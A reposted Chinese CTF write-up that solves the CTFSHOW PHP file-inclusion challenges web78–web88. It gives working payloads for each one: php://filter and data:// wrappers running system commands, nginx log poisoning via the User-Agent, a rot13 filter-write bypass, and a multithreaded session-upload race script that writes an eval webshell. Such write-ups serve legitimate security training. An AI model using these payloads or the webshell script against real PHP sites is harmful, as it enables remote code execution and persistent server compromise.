【Web】CTFSHOW PHP文件包含刷题记录(全)

这篇具有很好参考价值的文章主要介绍了【Web】CTFSHOW PHP文件包含刷题记录(全)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

温故知新。

目录

web78

web79

web80

web81

web82

web83

web84

web85

web86

web87

web88


web78

【Web】CTFSHOW PHP文件包含刷题记录(全),php,文件包含,ctfshow,ctf,web,网络安全,条件竞争

伪协议base64编码直接读出文件内容就行

?file=php://filter/convert.base64-encode/resource=flag.php

web79

【Web】CTFSHOW PHP文件包含刷题记录(全),php,文件包含,ctfshow,ctf,web,网络安全,条件竞争

一眼data伪协议包含php脚本

?file=data://text/plain,<?=system('tac f*')?>

web80

data也被禁了,日志包含即可

?file=/var/log/nginx/access.log

UA:<?php system('tac f*')?>

web81

【Web】CTFSHOW PHP文件包含刷题记录(全),php,文件包含,ctfshow,ctf,web,网络安全,条件竞争

多禁了一个":",还是可以日志包含

?file=/var/log/nginx/access.log

UA:<?php system('tac f*')?>

web82

【Web】CTFSHOW PHP文件包含刷题记录(全),php,文件包含,ctfshow,ctf,web,网络安全,条件竞争

连"."都被禁用了,/tmp/sess_xxx是不带点的,尝试多线程条件竞争包含临时目录下的session文件

【心得】PHP文件包含高级利用攻击面个人笔记

竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。

开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,但他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。

线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。

条件竞争漏洞其实也就是当同时并发多个线程去做同一件事,导致处理逻辑的代码出错,出现意想不到的结果。
 

下面贴出我的私用脚本,建议收藏(bushi

import requests
import threading

sess = "Z3r4y"

file_name = "/var/www/html/1.php"
file_content = '<?php eval($_POST[1]);?>'

url = "http://30fb3ca5-61ea-49af-927f-05e8c0f4fcc7.challenge.ctf.show/"

data = {
    "PHP_SESSION_UPLOAD_PROGRESS": f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
}

file = {
    'file': 'Z3r4y'
}

cookies = {
    'PHPSESSID': sess
}


def write(session):
    while True:
        r = session.post(url=url, data=data, files=file, cookies=cookies)


def read(session):
    while True:
        r = session.post(url=url + "?file=/tmp/sess_Z3r4y")
        if "success" in r.text:
            print("shell 地址为:" + url + "/1.php")
            exit()
        else:
            print('让我访问!!')


if __name__ == '__main__':
    threads = []
    for i in range(5):
        session = requests.session()
        t = threading.Thread(target=write, args=(session,))
        threads.append(t)
        t.start()

    for i in range(5):
        session = requests.session()
        t = threading.Thread(target=read, args=(session,))
        threads.append(t)
        t.start()

    for t in threads:
        t.join()

运行结果

【Web】CTFSHOW PHP文件包含刷题记录(全),php,文件包含,ctfshow,ctf,web,网络安全,条件竞争

拿到shell,访问RCE即可

web83

【Web】CTFSHOW PHP文件包含刷题记录(全),php,文件包含,ctfshow,ctf,web,网络安全,条件竞争

session_unset()函数用于释放当前会话中所有已注册的会话变量。它会将会话数组中的所有元素置为空,并将当前会话的变量销毁,但并不会完全终止会话。

session_destroy()函数用于销毁当前会话。它会删除当前会话的所有数据,包括会话文件(如果使用文件存储会话数据)或相关的存储机制中的数据。同时,会话ID也会被删除,导致会话无法再被恢复。

这两个函数通常一起使用,用于清除和终止会话。

但是并不慌,只要是程序运行,必定会消耗时间,从session_unset()运行到include之前的这段时间,我们只要再上传文件注册一个session就可在临时文件里再创建一个sess文件,成功包含。

脚本和上一题一样。

web84

【Web】CTFSHOW PHP文件包含刷题记录(全),php,文件包含,ctfshow,ctf,web,网络安全,条件竞争

同上,在system("rm -rf /tmp/*")和include($file)之间再上传sess文件即可成功包含。

web85

【Web】CTFSHOW PHP文件包含刷题记录(全),php,文件包含,ctfshow,ctf,web,网络安全,条件竞争

 同上,进file_exists的时候一个线程的sess文件还在,进file_get_contents之前时候会话终止,sess文件被销毁,然后文件内容为空进不到strpos的if判断,成功包含。

线程开大一点就可以成功写入。

web86

【Web】CTFSHOW PHP文件包含刷题记录(全),php,文件包含,ctfshow,ctf,web,网络安全,条件竞争

dirname — 返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点('.'),表示当前目录。否则返回的是把 path 中结尾的/component(最后一个斜线以及后面部分)去掉之后的字符串。

set_include_path — 设置include函数中 include_path 配置选项,成功时返回旧的 include_path或者在失败时返回 false

include — 被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path指定的目录寻找。如果在 include_path下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和require 不同,后者会发出一个致命错误。

我们include已经指定了路径,不受影响,还是用上面的脚本打

web87

【Web】CTFSHOW PHP文件包含刷题记录(全),php,文件包含,ctfshow,ctf,web,网络安全,条件竞争

 一眼死亡exit绕过

php://filter 绕过死亡file_put_content()

?file=php://filter/write=string.rot13/resource=1.php

php-fpm接收数据时会url解码一次, urldecode又会url解码一次,所以要url二次编码,顺便过掉':'和'.'的waf

这里推荐用burpsuite自带的编码工具,它的url编码是全编码

【Web】CTFSHOW PHP文件包含刷题记录(全),php,文件包含,ctfshow,ctf,web,网络安全,条件竞争

 【Web】CTFSHOW PHP文件包含刷题记录(全),php,文件包含,ctfshow,ctf,web,网络安全,条件竞争

php://filter/write=string.rot13/resource=1.php用于将输出进行rot13编码后写入指定的文件

然后随便找个rot13在线编码网站,编码一次, 这样伪协议过滤器rot13编码写文件就会把编码内容还原会原来的恶意代码(rot13编码两次即恢复原样),顺带过掉die。【Web】CTFSHOW PHP文件包含刷题记录(全),php,文件包含,ctfshow,ctf,web,网络安全,条件竞争最终payload:

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

post:content=<?cuc flfgrz('gnp s*');?>

web88

【Web】CTFSHOW PHP文件包含刷题记录(全),php,文件包含,ctfshow,ctf,web,网络安全,条件竞争

没有过滤冒号,可以使用data://协议。但是因为过滤了'php'和'=',不太好直接写马,所以需要base64编码。不过还有一点就是base64编码后很容易出'='和'+',所以需要去加一些字符调整payload。

【Web】CTFSHOW PHP文件包含刷题记录(全),php,文件包含,ctfshow,ctf,web,网络安全,条件竞争

 加个Z3r4y竟然可以hhh【Web】CTFSHOW PHP文件包含刷题记录(全),php,文件包含,ctfshow,ctf,web,网络安全,条件竞争

payload:文章来源地址https://www.toymoban.com/news/detail-783538.html

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/PlozcjR5

到了这里,关于【Web】CTFSHOW PHP文件包含刷题记录(全)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • ctfshow php特性(web89-web101)

    目录 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web100  web101 php特性(php基础知识) preg_match 函数正则匹配0-9 如果匹配到就失败 intval将参数值转换为整数类型 这就犯冲突了 但是preg_match函数只能处理字符串 当传入的是数组的时候就返回false 从而绕过die函数 这时intval接收

    2024年01月20日
    浏览(30)
  • ctfshow web入门 php特性 web108-web112

    strrev() 反转字符串 ereg 存在空字符截断(只会匹配%00前面的字符),这个函数匹配到为true,没有匹配到为false,877为0x36d的十进制数值 payload: 类可以输出,就是当类被当作字符串执行,会调用__trosting魔术方法,这个类要有这个魔术方法,并且要有返回值才可以输出,这个值要可控

    2024年02月11日
    浏览(30)
  • Ctfshow web入门 PHP特性篇 web89-web151 全

    web入门 PHP特性篇的wp都一把梭哈在这里啦~ 有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭… 有错误敬请斧正! 看题目,有个flag.php文件。题目要求get有个num,是数字但是不包含0-9。 intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 in

    2024年02月13日
    浏览(49)
  • 【Web】CTFSHOW java反序列化刷题记录(部分)

    目录 web846 web847 web848 web849 web850 web856 web857 web858 直接拿URLDNS链子打就行 payload: 也可直接用ysoserial 有关CC链:CC链 1-7 分析 - 先知社区 题目提示: 用CC1打就行 先生成反弹shell的payload: 生成的payload放bp自带的decoder里进行一次url全编码 get方式传参 监听,成功反弹shell TransformedMap也

    2024年02月20日
    浏览(31)
  • CTFSHOW php 特性

    目录 web89 数组绕过正则 PHP preg_match() 函数 | 菜鸟教程  web90  ===的绕过 首先 我们输入一个 4476a 就可以绕过 第一个nonono 也可以使用浮点型 也可以使用进制 web91   了解正则 web92 == 绕过 进制  浮点型 科学计数法 web93 过滤字母 浮点型  进制  web94 strpos(字符串,字符) 八进制

    2024年02月14日
    浏览(30)
  • CTFSHOW php命令执行

    目录 web29  过滤flag web30   过滤system php web31 过滤    cat|sort|shell|. 这里有一个新姿势 可以学习一下 web32 过滤 ;`` \\\'\\\' . web33 web34 web35 web36 web37 data伪协议 web38 短开表达式 web39 web40   __FILE__命令的扩展 web41 web42 重定向 web43 web44 web45 web46 web47 web48 web49 web50 web51  web52 web53 web54 

    2024年02月13日
    浏览(27)
  • CTFShow web1-7——CTF秀WEB模块解题思路

    CTFShow WEB模块详细通关教程, 受篇幅所限, 通关教程分为上下两部分, 第一部分为1-7关, 第二部分为8-14关, 本篇博客为1-7关的通关教程, 从解题思路和原理剖析两个方面进行讲解 这一关的重点在于注释, 由于开发人员的疏忽, 忘记删除注释中的敏感数据, 右键检查网页源码即可拿到

    2024年02月09日
    浏览(27)
  • ctfshow刷题记录-社工篇-1

    题目来源:ctfshow-网络谜踪(社工类) 题目描述: flag格式为 ctfshow{纬度(精确到小数点后四位, 不用进位),经度(精确到小数点后四位, 不用进位)} 例如 若找到的经纬度为( 11.45149,19.19810) 则flag为ctfshow{11.4514,19.1981} (附件地址:https://ctfshow.lanzoui.com/iRHlmtek0ra) 拿到题目就知道是一道

    2024年03月09日
    浏览(23)
  • ctfshow刷题记录-cry方向-1

    题目来源:ctfshow 菜狗杯 crypto方向 base47 题目描述: 神必字符: E9CV T+HT5#X36RF4@LAU703+F$E-0N$@68LMXCVDRJJD5@MP#7MUZDTE?WWLG1S#L@+ 66H@59KTWYK8TW0RV 神必字典: 0123456789ABCDEFGHJKLMNPQRSTUVWXYZ?!@#$%^*-+ 第一次做这种base换表的题目,在网上查了查相关wp,感觉自己对base家族还不太熟悉,于是自己先用

    2024年03月09日
    浏览(23)
  • ctfshow 第三届愚人杯 easy_php

    这题学的了一些小tips,这里讲解一下。 这里详细讲解一下使用c绕过wakup。 O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任

    2023年04月26日
    浏览(51)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包